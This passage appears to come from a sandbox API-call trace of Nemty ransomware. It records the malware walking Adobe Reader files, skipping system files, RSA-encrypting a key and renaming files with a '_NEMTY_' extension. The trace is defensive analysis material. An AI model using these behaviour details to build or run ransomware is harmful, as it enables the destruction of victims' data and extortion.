[0198.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0198.942] CloseHandle (hObject=0xffffffff) returned 0 [0198.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0198.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0198.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0198.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0198.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0198.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0198.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.943] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-4"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-4._nemty_kgobjgd_")) returned 0 [0198.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0198.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0198.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0198.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0198.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0198.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0198.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0198.943] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-5", cAlternateFileName="ADC296~1")) returned 1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2=".") returned 1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="..") returned 1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="...") returned 1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="windows") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="$RECYCLE.BIN") returned 1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="rsa") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="NTDETECT.COM") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="ntldr") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="MSDOS.SYS") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="IO.SYS") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="boot.ini") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="boot.ini") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="AUTOEXEC.BAT") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="ntuser.dat") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="desktop.ini") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="CONFIG.SYS") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="RECYCLER") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="BOOTSECT.BAK") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="bootmgr") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="programdata") returned -1 [0198.943] lstrcmpiW (lpString1="Adobe-GB1-5", lpString2="appdata") returned -1 [0198.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-5", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-5", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-5", lpUsedDefaultChar=0x0) returned 11 [0198.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-5", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-5", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-5", lpUsedDefaultChar=0x0) returned 11 [0198.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-5", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-5", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-5", lpUsedDefaultChar=0x0) returned 11 [0198.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-5", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-5", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-5", lpUsedDefaultChar=0x0) returned 11 [0198.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0198.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0198.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0198.944] Sleep (dwMilliseconds=0x5) [0198.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a3a2410, dwHighDateTime=0x1d561e8)) [0198.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a3a2410, dwHighDateTime=0x1d561e8)) [0198.945] GetLastError () returned 0x5 [0198.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0198.945] GetLastError () returned 0x5 [0198.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0198.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.945] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0198.945] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0198.945] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0198.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0198.945] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="O0A1ye37bRFIjjL0T5c7et0nLbN8x61OxRJ1fXGQPN3DwvCVJaZWbv5wxnjiBGsk\r\n4Jc3zeI11Rit0fY1PQRffdBSbeInmlVd2MDgJY3MQ/rlVdn6K7WvuzV3grteF7Kw\r\nvBLTLw8tW/FsQMCZ4fuDRIf7pWB2BC0qfXDPfEf1vd8loiGrXJXPh5FLl6FmSOJn\r\naBguYAY87G8EqaMfNSS2HSHWeSMzw63aDZZasGkz5jPDXDNgBRqM6foEfxPC53JS\r\nC/rBw2hMriX8WFqlGXu6Lco3O7pgb5uCdZvU//crfCBFTWLztVl5wXOrY3p+u2qf\r\nYjwiNwFWTImQShxdKS5gwg==\r\n", pcchString=0x653e91c) returned 1 [0198.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0198.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0198.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0198.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0198.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0198.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.945] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0198.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0198.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0199.055] CloseHandle (hObject=0xffffffff) returned 0 [0199.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0199.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0199.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0199.055] RtlAllocateHeap (HeapHandle=0x4f90000, 